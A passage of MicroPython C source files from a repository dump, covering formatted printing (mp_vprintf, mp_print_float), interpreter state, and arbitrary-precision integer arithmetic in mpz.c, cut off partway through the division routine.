PF_FLAG_PAD_AFTER_SIGN) {\n        // pad after sign implies pad after prefix as well.\n        if (sign) {\n            len += mp_print_strn(print, &sign, 1, 0, 0, 1);\n            width--;\n        }\n        if (prefix_len) {\n            len += mp_print_strn(print, prefix, prefix_len, 0, 0, 1);\n            width -= prefix_len;\n        }\n    }\n    if (prec > 1) {\n        width = prec;\n    }\n\n    len += mp_print_strn(print, str, fmt_size, flags, fill, width);\n\n    if (spaces_after) {\n        len += mp_print_strn(print, \"\", 0, 0, ' ', spaces_after);\n    }\n\n    if (buf != stack_buf) {\n        m_del(char, buf, buf_size);\n    }\n    return len;\n}\n\n#if MICROPY_PY_BUILTINS_FLOAT\nint mp_print_float(const mp_print_t *print, mp_float_t f, char fmt, int flags, char fill, int width, int prec) {\n    char buf[32];\n    char sign = '\\0';\n    int chrs = 0;\n\n    if (flags & PF_FLAG_SHOW_SIGN) {\n        sign = '+';\n    }\n    else\n    if (flags & PF_FLAG_SPACE_SIGN) {\n        sign = ' ';\n    }\n\n    int len = mp_format_float(f, buf, sizeof(buf), fmt, prec, sign);\n\n    char *s = buf;\n\n    if ((flags & PF_FLAG_ADD_PERCENT) && (size_t)(len + 1) < sizeof(buf)) {\n        buf[len++] = '%';\n        buf[len] = '\\0';\n    }\n\n    // buf[0] < '0' returns true if the first character is space, + or -\n    if ((flags & PF_FLAG_PAD_AFTER_SIGN) && buf[0] < '0') {\n        // We have a sign character\n        s++;\n        chrs += mp_print_strn(print, &buf[0], 1, 0, 0, 1);\n        width--;\n        len--;\n    }\n\n    chrs += mp_print_strn(print, s, len, flags, fill, width);\n\n    return chrs;\n}\n#endif\n\nint mp_printf(const mp_print_t *print, const char *fmt, ...) {\n    va_list ap;\n    va_start(ap, fmt);\n    int ret = mp_vprintf(print, fmt, ap);\n    va_end(ap);\n    return ret;\n}\n\nint mp_vprintf(const mp_print_t *print, const char *fmt, va_list args) {\n    int chrs = 0;\n    for (;;) {\n        {\n            const char *f = fmt;\n            while (*f != '\\0' && *f != '%') {\n                ++f; // XXX UTF8 advance char\n            }\n            if (f > fmt) {\n                print->print_strn(print->data, fmt, f - fmt);\n                chrs += f - fmt;\n                fmt = f;\n            }\n        }\n\n        if (*fmt == '\\0') {\n            break;\n        }\n\n        // move past % character\n        ++fmt;\n\n        // parse flags, if they exist\n        int flags = 0;\n        char fill = ' ';\n        while (*fmt != '\\0') {\n            if (*fmt == '-') flags |= PF_FLAG_LEFT_ADJUST;\n            else if (*fmt == '+') flags |= PF_FLAG_SHOW_SIGN;\n            else if (*fmt == ' ') flags |= PF_FLAG_SPACE_SIGN;\n            else if (*fmt == '!') flags |= PF_FLAG_NO_TRAILZ;\n            else if (*fmt == '0') {\n                flags |= PF_FLAG_PAD_AFTER_SIGN;\n                fill = '0';\n            } else break;\n            ++fmt;\n        }\n\n        // parse width, if it exists\n        int width = 0;\n        for (; '0' <= *fmt && *fmt <= '9'; ++fmt) {\n            width = width * 10 + *fmt - '0';\n        }\n\n        // parse precision, if it exists\n        int prec = -1;\n        if (*fmt == '.') {\n            ++fmt;\n            if (*fmt == '*') {\n                ++fmt;\n                prec = va_arg(args, int);\n            } else {\n                prec = 0;\n                for (; '0' <= *fmt && *fmt <= '9'; ++fmt) {\n                    prec = prec * 10 + *fmt - '0';\n                }\n            }\n            if (prec < 0) {\n                prec = 0;\n            }\n        }\n\n        // parse long specifiers (current not used)\n        //bool long_arg = false;\n        if (*fmt == 'l') {\n            ++fmt;\n            //long_arg = true;\n        }\n\n        if (*fmt == '\\0') {\n            break;\n        }\n\n        switch (*fmt) {\n            case 'b':\n                if (va_arg(args, int)) {\n                    chrs += mp_print_strn(print, \"true\", 4, flags, fill, width);\n                } else {\n                    chrs += mp_print_strn(print, \"false\", 5, flags, fill, width);\n                }\n                break;\n            case 'c':\n            {\n                char str = va_arg(args, int);\n                chrs += mp_print_strn(print, &str, 1, flags, fill, width);\n                break;\n            }\n            case 'q':\n            {\n                qstr qst = va_arg(args, qstr);\n                size_t len;\n                const char *str = (const char*)qstr_data(qst, &len);\n                if (prec < 0) {\n                    prec = len;\n                }\n                chrs += mp_print_strn(print, str, prec, flags, fill, width);\n                break;\n            }\n            case 's':\n            {\n                const char *str = va_arg(args, const char*);\n                if (str) {\n                    if (prec < 0) {\n                        prec = strlen(str);\n                    }\n                    chrs += mp_print_strn(print, str, prec, flags, fill, width);\n                } else {\n                    chrs += mp_print_strn(print, \"(null)\", 6, flags, fill, width);\n                }\n                break;\n            }\n            case 'u':\n                chrs += mp_print_int(print, va_arg(args, unsigned int), 0, 10, 'a', flags, fill, width);\n                break;\n            case 'd':\n                chrs += mp_print_int(print, va_arg(args, int), 1, 10, 'a', flags, fill, width);\n                break;\n            case 'x':\n                chrs += mp_print_int(print, va_arg(args, unsigned int), 0, 16, 'a', flags, fill, width);\n                break;\n            case 'X':\n                chrs += mp_print_int(print, va_arg(args, unsigned int), 0, 16, 'A', flags, fill, width);\n                break;\n            case 'p':\n            case 'P': // don't bother to handle upcase for 'P'\n                chrs += mp_print_int(print, va_arg(args, unsigned int), 0, 16, 'a', flags, fill, width);\n                break;\n#if MICROPY_PY_BUILTINS_FLOAT\n            case 'e':\n            case 'E':\n            case 'f':\n            case 'F':\n            case 'g':\n            case 'G':\n            {\n#if ((MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT) || (MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE))\n                mp_float_t f = va_arg(args, double);\n                chrs += mp_print_float(print, f, *fmt, flags, fill, width, prec);\n#else\n#error Unknown MICROPY FLOAT IMPL\n#endif\n                break;\n            }\n#endif\n            // Because 'l' is eaten above, another 'l' means %ll.  We need to support\n            // this length specifier for OBJ_REPR_D (64-bit NaN boxing).\n            // TODO Either enable this unconditionally, or provide a specific config var.\n            #if (MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D) || defined(_WIN64)\n            case 'l': {\n                unsigned long long int arg_value = va_arg(args, unsigned long long int);\n                ++fmt;\n                if (*fmt == 'u' || *fmt == 'd') {\n                    chrs += mp_print_int(print, arg_value, *fmt == 'd', 10, 'a', flags, fill, width);\n                    break;\n                }\n                assert(!\"unsupported fmt char\");\n            }\n            #endif\n            default:\n                // if it's not %% then it's an unsupported format character\n                assert(*fmt == '%' || !\"unsupported fmt char\");\n                print->print_strn(print->data, fmt, 1);\n                chrs += 1;\n                break;\n        }\n        ++fmt;\n    }\n    return chrs;\n}\n"
  },
  {
    "path": "micropython/source/py/mpstate.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpstate.h\"\n\n#if MICROPY_DYNAMIC_COMPILER\nmp_dynamic_compiler_t mp_dynamic_compiler = {0};\n#endif\n\nmp_state_ctx_t mp_state_ctx;\n"
  },
  {
    "path": "micropython/source/py/mpz.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <assert.h>\n\n#include \"py/mpz.h\"\n\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ\n\n#define DIG_SIZE (MPZ_DIG_SIZE)\n#define DIG_MASK ((MPZ_LONG_1 << DIG_SIZE) - 1)\n#define DIG_MSB  (MPZ_LONG_1 << (DIG_SIZE - 1))\n#define DIG_BASE (MPZ_LONG_1 << DIG_SIZE)\n\n/*\n mpz is an arbitrary precision integer type with a public API.\n\n mpn functions act on non-negative integers represented by an array of generalised\n digits (eg a word per digit).  You also need to specify separately the length of the\n array.  There is no public API for mpn.  Rather, the functions are used by mpz to\n implement its features.\n\n Integer values are stored little endian (first digit is first in memory).\n\n Definition of normalise: ?\n*/\n\nSTATIC size_t mpn_remove_trailing_zeros(mpz_dig_t *oidig, mpz_dig_t *idig) {\n    for (--idig; idig >= oidig && *idig == 0; --idig) {\n    }\n    return idig + 1 - oidig;\n}\n\n/* compares i with j\n   returns sign(i - j)\n   assumes i, j are normalised\n*/\nSTATIC int mpn_cmp(const mpz_dig_t *idig, size_t ilen, const mpz_dig_t *jdig, size_t jlen) {\n    if (ilen < jlen) { return -1; }\n    if (ilen > jlen) { return 1; }\n\n    for (idig += ilen, jdig += ilen; ilen > 0; --ilen) {\n        mpz_dbl_dig_signed_t cmp = (mpz_dbl_dig_t)*(--idig) - (mpz_dbl_dig_t)*(--jdig);\n        if (cmp < 0) { return -1; }\n        if (cmp > 0) { return 1; }\n    }\n\n    return 0;\n}\n\n/* computes i = j << n\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j; assumes n > 0\n   can have i, j pointing to same memory\n*/\nSTATIC size_t mpn_shl(mpz_dig_t *idig, mpz_dig_t *jdig, size_t jlen, mp_uint_t n) {\n    mp_uint_t n_whole = (n + DIG_SIZE - 1) / DIG_SIZE;\n    mp_uint_t n_part = n % DIG_SIZE;\n    if (n_part == 0) {\n        n_part = DIG_SIZE;\n    }\n\n    // start from the high end of the digit arrays\n    idig += jlen + n_whole - 1;\n    jdig += jlen - 1;\n\n    // shift the digits\n    mpz_dbl_dig_t d = 0;\n    for (size_t i = jlen; i > 0; i--, idig--, jdig--) {\n        d |= *jdig;\n        *idig = (d >> (DIG_SIZE - n_part)) & DIG_MASK;\n        d <<= DIG_SIZE;\n    }\n\n    // store remaining bits\n    *idig = (d >> (DIG_SIZE - n_part)) & DIG_MASK;\n    idig -= n_whole - 1;\n    memset(idig, 0, (n_whole - 1) * sizeof(mpz_dig_t));\n\n    // work out length of result\n    jlen += n_whole;\n    while (jlen != 0 && idig[jlen - 1] == 0) {\n        jlen--;\n    }\n\n    // return length of result\n    return jlen;\n}\n\n/* computes i = j >> n\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j; assumes n > 0\n   can have i, j pointing to same memory\n*/\nSTATIC size_t mpn_shr(mpz_dig_t *idig, mpz_dig_t *jdig, size_t jlen, mp_uint_t n) {\n    mp_uint_t n_whole = n / DIG_SIZE;\n    mp_uint_t n_part = n % DIG_SIZE;\n\n    if (n_whole >= jlen) {\n        return 0;\n    }\n\n    jdig += n_whole;\n    jlen -= n_whole;\n\n    for (size_t i = jlen; i > 0; i--, idig++, jdig++) {\n        mpz_dbl_dig_t d = *jdig;\n        if (i > 1) {\n            d |= (mpz_dbl_dig_t)jdig[1] << DIG_SIZE;\n        }\n        d >>= n_part;\n        *idig = d & DIG_MASK;\n    }\n\n    if (idig[-1] == 0) {\n        jlen--;\n    }\n\n    return jlen;\n}\n\n/* computes i = j + k\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j, k; assumes jlen >= klen\n   can have i, j, k pointing to same memory\n*/\nSTATIC size_t mpn_add(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen) {\n    mpz_dig_t *oidig = idig;\n    mpz_dbl_dig_t carry = 0;\n\n    jlen -= klen;\n\n    for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) {\n        carry += (mpz_dbl_dig_t)*jdig + (mpz_dbl_dig_t)*kdig;\n        *idig = carry & DIG_MASK;\n        carry >>= DIG_SIZE;\n    }\n\n    for (; jlen > 0; --jlen, ++idig, ++jdig) {\n        carry += *jdig;\n        *idig = carry & DIG_MASK;\n        carry >>= DIG_SIZE;\n    }\n\n    if (carry != 0) {\n        *idig++ = carry;\n    }\n\n    return idig - oidig;\n}\n\n/* computes i = j - k\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j, k; assumes j >= k\n   can have i, j, k pointing to same memory\n*/\nSTATIC size_t mpn_sub(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen) {\n    mpz_dig_t *oidig = idig;\n    mpz_dbl_dig_signed_t borrow = 0;\n\n    jlen -= klen;\n\n    for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) {\n        borrow += (mpz_dbl_dig_t)*jdig - (mpz_dbl_dig_t)*kdig;\n        *idig = borrow & DIG_MASK;\n        borrow >>= DIG_SIZE;\n    }\n\n    for (; jlen > 0; --jlen, ++idig, ++jdig) {\n        borrow += *jdig;\n        *idig = borrow & DIG_MASK;\n        borrow >>= DIG_SIZE;\n    }\n\n    return mpn_remove_trailing_zeros(oidig, idig);\n}\n\n#if MICROPY_OPT_MPZ_BITWISE\n\n/* computes i = j & k\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j, k; assumes jlen >= klen (jlen argument not needed)\n   can have i, j, k pointing to same memory\n*/\nSTATIC size_t mpn_and(mpz_dig_t *idig, const mpz_dig_t *jdig, const mpz_dig_t *kdig, size_t klen) {\n    mpz_dig_t *oidig = idig;\n\n    for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) {\n        *idig = *jdig & *kdig;\n    }\n\n    return mpn_remove_trailing_zeros(oidig, idig);\n}\n\n#endif\n\n/*  i = -((-j) & (-k))                = ~((~j + 1) & (~k + 1)) + 1\n    i =  (j & (-k)) =  (j & (~k + 1)) =  (  j      & (~k + 1))\n    i =  ((-j) & k) =  ((~j + 1) & k) =  ((~j + 1) &   k     )\n   computes general form:\n   i = (im ^ (((j ^ jm) + jc) & ((k ^ km) + kc))) + ic  where Xm = Xc == 0 ? 0 : DIG_MASK\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j, k; assumes length j >= length k\n   can have i, j, k pointing to same memory\n*/\nSTATIC size_t mpn_and_neg(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen,\n                            mpz_dbl_dig_t carryi, mpz_dbl_dig_t carryj, mpz_dbl_dig_t carryk) {\n    mpz_dig_t *oidig = idig;\n    mpz_dig_t imask = (0 == carryi) ? 0 : DIG_MASK;\n    mpz_dig_t jmask = (0 == carryj) ? 0 : DIG_MASK;\n    mpz_dig_t kmask = (0 == carryk) ? 0 : DIG_MASK;\n\n    for (; jlen > 0; ++idig, ++jdig) {\n        carryj += *jdig ^ jmask;\n        carryk += (--klen <= --jlen) ? (*kdig++ ^ kmask) : kmask;\n        carryi += ((carryj & carryk) ^ imask) & DIG_MASK;\n        *idig = carryi & DIG_MASK;\n        carryk >>= DIG_SIZE;\n        carryj >>= DIG_SIZE;\n        carryi >>= DIG_SIZE;\n    }\n\n    if (0 != carryi) {\n        *idig++ = carryi;\n    }\n\n    return mpn_remove_trailing_zeros(oidig, idig);\n}\n\n#if MICROPY_OPT_MPZ_BITWISE\n\n/* computes i = j | k\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j, k; assumes jlen >= klen\n   can have i, j, k pointing to same memory\n*/\nSTATIC size_t mpn_or(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen) {\n    mpz_dig_t *oidig = idig;\n\n    jlen -= klen;\n\n    for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) {\n        *idig = *jdig | *kdig;\n    }\n\n    for (; jlen > 0; --jlen, ++idig, ++jdig) {\n        *idig = *jdig;\n    }\n\n    return idig - oidig;\n}\n\n#endif\n\n/*  i = -((-j) | (-k))                = ~((~j + 1) | (~k + 1)) + 1\n    i = -(j | (-k)) = -(j | (~k + 1)) = ~(  j      | (~k + 1)) + 1\n    i = -((-j) | k) = -((~j + 1) | k) = ~((~j + 1) |   k     ) + 1\n   computes general form:\n   i = ~(((j ^ jm) + jc) | ((k ^ km) + kc)) + 1  where Xm = Xc == 0 ? 0 : DIG_MASK\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j, k; assumes length j >= length k\n   can have i, j, k pointing to same memory\n*/\n\n#if MICROPY_OPT_MPZ_BITWISE\n\nSTATIC size_t mpn_or_neg(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen,\n                            mpz_dbl_dig_t carryj, mpz_dbl_dig_t carryk) {\n    mpz_dig_t *oidig = idig;\n    mpz_dbl_dig_t carryi = 1;\n    mpz_dig_t jmask = (0 == carryj) ? 0 : DIG_MASK;\n    mpz_dig_t kmask = (0 == carryk) ? 0 : DIG_MASK;\n\n    for (; jlen > 0; ++idig, ++jdig) {\n        carryj += *jdig ^ jmask;\n        carryk += (--klen <= --jlen) ? (*kdig++ ^ kmask) : kmask;\n        carryi += ((carryj | carryk) ^ DIG_MASK) & DIG_MASK;\n        *idig = carryi & DIG_MASK;\n        carryk >>= DIG_SIZE;\n        carryj >>= DIG_SIZE;\n        carryi >>= DIG_SIZE;\n    }\n\n    // At least one of j,k must be negative so the above for-loop runs at least\n    // once.  For carryi to be non-zero here it must be equal to 1 at the end of\n    // each iteration of the loop.  So the accumulation of carryi must overflow\n    // each time, ie carryi += 0xff..ff.  So carryj|carryk must be 0 in the\n    // DIG_MASK bits on each iteration.  But considering all cases of signs of\n    // j,k one sees that this is not possible.\n    assert(carryi == 0);\n\n    return mpn_remove_trailing_zeros(oidig, idig);\n}\n\n#else\n\nSTATIC size_t mpn_or_neg(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen,\n                            mpz_dbl_dig_t carryi, mpz_dbl_dig_t carryj, mpz_dbl_dig_t carryk) {\n    mpz_dig_t *oidig = idig;\n    mpz_dig_t imask = (0 == carryi) ? 0 : DIG_MASK;\n    mpz_dig_t jmask = (0 == carryj) ? 0 : DIG_MASK;\n    mpz_dig_t kmask = (0 == carryk) ? 0 : DIG_MASK;\n\n    for (; jlen > 0; ++idig, ++jdig) {\n        carryj += *jdig ^ jmask;\n        carryk += (--klen <= --jlen) ? (*kdig++ ^ kmask) : kmask;\n        carryi += ((carryj | carryk) ^ imask) & DIG_MASK;\n        *idig = carryi & DIG_MASK;\n        carryk >>= DIG_SIZE;\n        carryj >>= DIG_SIZE;\n        carryi >>= DIG_SIZE;\n    }\n\n    // See comment in above mpn_or_neg for why carryi must be 0.\n    assert(carryi == 0);\n\n    return mpn_remove_trailing_zeros(oidig, idig);\n}\n\n#endif\n\n#if MICROPY_OPT_MPZ_BITWISE\n\n/* computes i = j ^ k\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j, k; assumes jlen >= klen\n   can have i, j, k pointing to same memory\n*/\nSTATIC size_t mpn_xor(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen) {\n    mpz_dig_t *oidig = idig;\n\n    jlen -= klen;\n\n    for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) {\n        *idig = *jdig ^ *kdig;\n    }\n\n    for (; jlen > 0; --jlen, ++idig, ++jdig) {\n        *idig = *jdig;\n    }\n\n    return mpn_remove_trailing_zeros(oidig, idig);\n}\n\n#endif\n\n/*  i = (-j) ^ (-k) = ~(j - 1) ^ ~(k - 1)                   = (j - 1) ^ (k - 1)\n    i = -(j ^ (-k)) = -(j ^ ~(k - 1)) = ~(j ^ ~(k - 1)) + 1 = (j ^ (k - 1)) + 1\n    i = -((-j) ^ k) = -(~(j - 1) ^ k) = ~(~(j - 1) ^ k) + 1 = ((j - 1) ^ k) + 1\n   computes general form:\n   i = ((j - 1 + jc) ^ (k - 1 + kc)) + ic\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised j, k; assumes length j >= length k\n   can have i, j, k pointing to same memory\n*/\nSTATIC size_t mpn_xor_neg(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen,\n                              mpz_dbl_dig_t carryi, mpz_dbl_dig_t carryj, mpz_dbl_dig_t carryk) {\n    mpz_dig_t *oidig = idig;\n\n    for (; jlen > 0; ++idig, ++jdig) {\n        carryj += *jdig + DIG_MASK;\n        carryk += (--klen <= --jlen) ? (*kdig++ + DIG_MASK) : DIG_MASK;\n        carryi += (carryj ^ carryk) & DIG_MASK;\n        *idig = carryi & DIG_MASK;\n        carryk >>= DIG_SIZE;\n        carryj >>= DIG_SIZE;\n        carryi >>= DIG_SIZE;\n    }\n\n    if (0 != carryi) {\n        *idig++ = carryi;\n    }\n\n    return mpn_remove_trailing_zeros(oidig, idig);\n}\n\n/* computes i = i * d1 + d2\n   returns number of digits in i\n   assumes enough memory in i; assumes normalised i; assumes dmul != 0\n*/\nSTATIC size_t mpn_mul_dig_add_dig(mpz_dig_t *idig, size_t ilen, mpz_dig_t dmul, mpz_dig_t dadd) {\n    mpz_dig_t *oidig = idig;\n    mpz_dbl_dig_t carry = dadd;\n\n    for (; ilen > 0; --ilen, ++idig) {\n        carry += (mpz_dbl_dig_t)*idig * (mpz_dbl_dig_t)dmul; // will never overflow so long as DIG_SIZE <= 8*sizeof(mpz_dbl_dig_t)/2\n        *idig = carry & DIG_MASK;\n        carry >>= DIG_SIZE;\n    }\n\n    if (carry != 0) {\n        *idig++ = carry;\n    }\n\n    return idig - oidig;\n}\n\n/* computes i = j * k\n   returns number of digits in i\n   assumes enough memory in i; assumes i is zeroed; assumes normalised j, k\n   can have j, k point to same memory\n*/\nSTATIC size_t mpn_mul(mpz_dig_t *idig, mpz_dig_t *jdig, size_t jlen, mpz_dig_t *kdig, size_t klen) {\n    mpz_dig_t *oidig = idig;\n    size_t ilen = 0;\n\n    for (; klen > 0; --klen, ++idig, ++kdig) {\n        mpz_dig_t *id = idig;\n        mpz_dbl_dig_t carry = 0;\n\n        size_t jl = jlen;\n        for (mpz_dig_t *jd = jdig; jl > 0; --jl, ++jd, ++id) {\n            carry += (mpz_dbl_dig_t)*id + (mpz_dbl_dig_t)*jd * (mpz_dbl_dig_t)*kdig; // will never overflow so long as DIG_SIZE <= 8*sizeof(mpz_dbl_dig_t)/2\n            *id = carry & DIG_MASK;\n            carry >>= DIG_SIZE;\n        }\n\n        if (carry != 0) {\n            *id++ = carry;\n        }\n\n        ilen = id - oidig;\n    }\n\n    return ilen;\n}\n\n/* natural_div - quo * den + new_num = old_num (ie num is replaced with rem)\n   assumes den != 0\n   assumes num_dig has enough memory to be extended by 1 digit\n   assumes quo_dig has enough memory (as many digits as num)\n   assumes quo_dig is filled with zeros\n*/\nSTATIC void mpn_div(mpz_dig_t *num_dig, size_t *num_len, const mpz_dig_t *den_dig, size_t den_len, mpz_dig_t *quo_dig, size_t *quo_len) {\n    mpz_dig_t *orig_num_dig = num_dig;\n    mpz_dig_t *orig_quo_dig = quo_dig;\n    mpz_dig_t norm_shift = 0;\n    mpz_dbl_dig_t lead_den_digit;\n\n    // handle simple cases\n    {\n        int cmp = mpn_cmp(num_dig, *num_len, den_dig, den_len);\n        if (cmp == 0) {\n            *num_len = 0;\n            quo_dig[0] = 1;\n            *quo_len = 1;\n            return;\n        } else if (cmp < 0) {\n            // numerator remains the same\n            *quo_len = 0;\n            return;\n        }\n    }\n\n    // We need to normalise the denominator (leading bit of leading digit is 1)\n    // so that the division routine works.  Since the denominator memory is\n    // read-only we do the normalisation on the fly, each time a digit of the\n    // denominator is needed.  We need to know is how many bits to shift by.\n\n    // count number of leading zeros in leading digit of denominator\n    {\n        mpz_dig_t d = den_dig[den_len - 1];\n        while ((d & DIG_MSB) == 0) {\n            d <<= 1;\n            ++norm_shift;\n        }\n    }\n\n    // now need to shift numerator by same amount as denominator\n    // first, increase length of numerator in case we need more room to shift\n    num_dig[*num_len] = 0;\n    ++(*num_len);\n    for (mpz_dig_t *num = num_dig, carry = 0; num < num_dig + *num_len; ++num) {\n        mpz_dig_t n = *num;\n        *num = ((n << norm_shift) | carry) & DIG_MASK;\n        carry = (mpz_dbl_dig_t)n >> (DIG_SIZE - norm_shift);\n    }\n\n    // cache the leading digit of the denominator\n    lead_den_digit = (mpz_dbl_dig_t)den_dig[den_len - 1] << norm_shift;\n    if (den_len >= 2) {\n        lead_den_digit |= (mpz_dbl_dig_t)den_dig[den_len - 2] >> (DIG_SIZE - norm_shift);\n    }\n\n    // point num_dig to last digit in numerator\n    num_dig += *num_len - 1;\n\n    // calculate number of digits in quotient\n    *quo_len = *num_len - den_len;\n\n    // point to last digit to store for quotient\n    quo_dig += *quo_len - 1;\n\n    // keep going while we have enough digits to divide\n    while (*num_len > den_len) {\n        mpz_dbl_dig_t quo = ((mpz_dbl_dig_t)*num_dig << DIG_SIZE) | num_dig[-1];\n\n        // get approximate quotient\n        quo /= lead_den_digit;\n\n        // Multiply quo by den and subtract from num to get remainder.\n        // We have different code here to handle different compile-time\n        // configurations of mpz:\n        //\n        //   1. DIG_SIZE is stricly less than half the number of bits\n        //      available in mpz_dbl_dig_t.  In this case we can use a\n        //      slightly more optimal (in time and space) routine that\n        //      uses the extra bits in mpz_dbl_dig_signed_t to store a\n        //      sign bit.\n        //\n        //   2. DIG_SIZE is exactly half the number of bits available in\n        //      mpz_dbl_dig_t.  In this (common) case we need to be careful\n        //      not to overflow the borrow variable.  And the shifting of\n        //      borrow needs some special logic (it's a shift right with\n        //      round up).\n\n        if (DIG_SIZE < 8 * sizeof(mpz_dbl_dig_t) / 2) {\n            const mpz_dig_t *d = den_dig;\n            mpz_dbl_dig_t d_norm = 0;\n            mpz_dbl_dig_signed_t borrow = 0;\n\n            for (mpz_dig_t *n = num_dig - den_len; n < num_dig; ++n, ++d) {\n                d_norm = ((mpz_dbl_dig_t)*d << norm_shift) | (d_norm >> DIG_SIZE);\n                borrow += (mpz_dbl_dig_t)*n - (mpz_dbl_dig_t)quo * (d_norm & DIG_MASK); // will overflow if DIG_SIZE >= 8*sizeof(mpz_dbl_dig_t)/2\n                *n = borrow & DIG_MASK;\n                borrow >>= DIG_SIZE;\n            }\n            borrow += *num_dig; // will overflow if DIG_SIZE >= 8*sizeof(mpz_dbl_dig_t)/2\n            *num_dig = borrow & DIG_MASK;\n            borrow >>= DIG_SIZE;\n\n            // adjust quotient if it is too big\n            for (; borrow != 0; --quo) {\n                d = den_dig;\n                d_norm = 0;\n                mpz_dbl_dig_t carry = 0;\n                for (mpz_dig_t *n = num_dig - den_len; n < num_dig; ++n, ++d) {\n                    d_norm = ((mpz_dbl_dig_t)*d << norm_shift) | (d_norm >> DIG_SIZE);\n                    carry += (mpz_dbl_dig_t)*n + (d_norm & DIG_MASK);\n                    *n = carry & DIG_MASK;\n                    carry >>= DIG_SIZE;\n                }\n                carry += *num_dig;\n                *num_dig = carry & DIG_MASK;\n                carry >>= DIG_SIZE;\n\n                borrow += carry;\n            }\n        } else { // DIG_SIZE == 8 * sizeof(mpz_dbl_dig_t) / 2\n            const mpz_dig_t *d = den_dig;\n            mpz_dbl_dig_t d_norm = 0;\n            mpz_dbl_dig_t borrow = 0;\n\n            for (mpz_dig_t *n = num_dig - den_len; n < num_dig; ++n, ++d) {\n                d_norm = ((mpz_dbl_dig_t)*d << norm_shift) | (d_norm >> DIG_SIZE);\n                mpz_dbl_dig_t x = (mpz_dbl_dig_t)quo * (d_norm & DIG_MASK);\n                if (x >= *n || *n - x <= borrow) {\n                    borrow += (mpz_dbl_dig_t)x - (mpz_dbl_dig_t)*n;\n                    *n = (-borrow) & DIG_MASK;\n                    borrow = (borrow >> DIG_SIZE) + ((borrow & DIG_MASK) == 0 ? 0 : 1); // shift-right with round-up\n                } else {\n                    *n = ((mpz_dbl_dig_t)*n - (mpz_dbl_dig_t)x - (mpz_dbl_dig_t)borrow) & DIG_MASK;\n                    borrow = 0;\n                }\n            }\n            if (borrow >= *num_dig) {\n                borrow -= (mpz_dbl_dig_t)*num_dig;\n                *num_dig = (-borrow) & DIG_MASK;\n                borrow = (borrow >> DIG_SIZE) + ((borrow & DIG_MASK) == 0 ? 0 : 1); // shift-right with round-up\n            } else {\n                *num_dig = (*num_dig - borrow) & DIG_MASK;\n                borrow = 